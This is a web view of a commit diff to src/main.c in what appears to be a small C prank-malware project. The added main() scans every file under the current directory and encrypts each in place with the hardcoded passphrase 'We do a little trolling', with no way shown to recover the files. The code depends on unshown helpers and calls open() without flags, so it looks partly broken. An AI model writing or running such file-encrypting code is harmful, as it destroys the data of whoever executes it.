summaryrefslogtreecommitdiff
path: root/src/main.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/main.c')
-rw-r--r--src/main.c16
1 files changed, 16 insertions, 0 deletions
diff --git a/src/main.c b/src/main.c
index 6e0bc8f..ffce943 100644
--- a/src/main.c
+++ b/src/main.c
@@ -8,8 +8,24 @@
8 * 8 *
9*/ 9*/
10 10
11#define _GNU_SOURCE
12
13#include "main.h"
14#include "encryption.h"
15#include "search.h"
16#include "ll.h"
17
11int main() { 18int main() {
19 // Get folders
20 struct nodelist *files = scanfiles("./", alphasort);
21
22 // Encrypt those files
23 for(struct nodelist *p = files; p != NULL; p = p->next) {
24 int fd = open(p->fullpath);
25 passencblock(fd, "We do a little trolling");
26 }
12 27
28 nodelist_delete(files);
13 29
14 return 0; 30 return 0;
15} \ No newline at end of file 31} \ No newline at end of file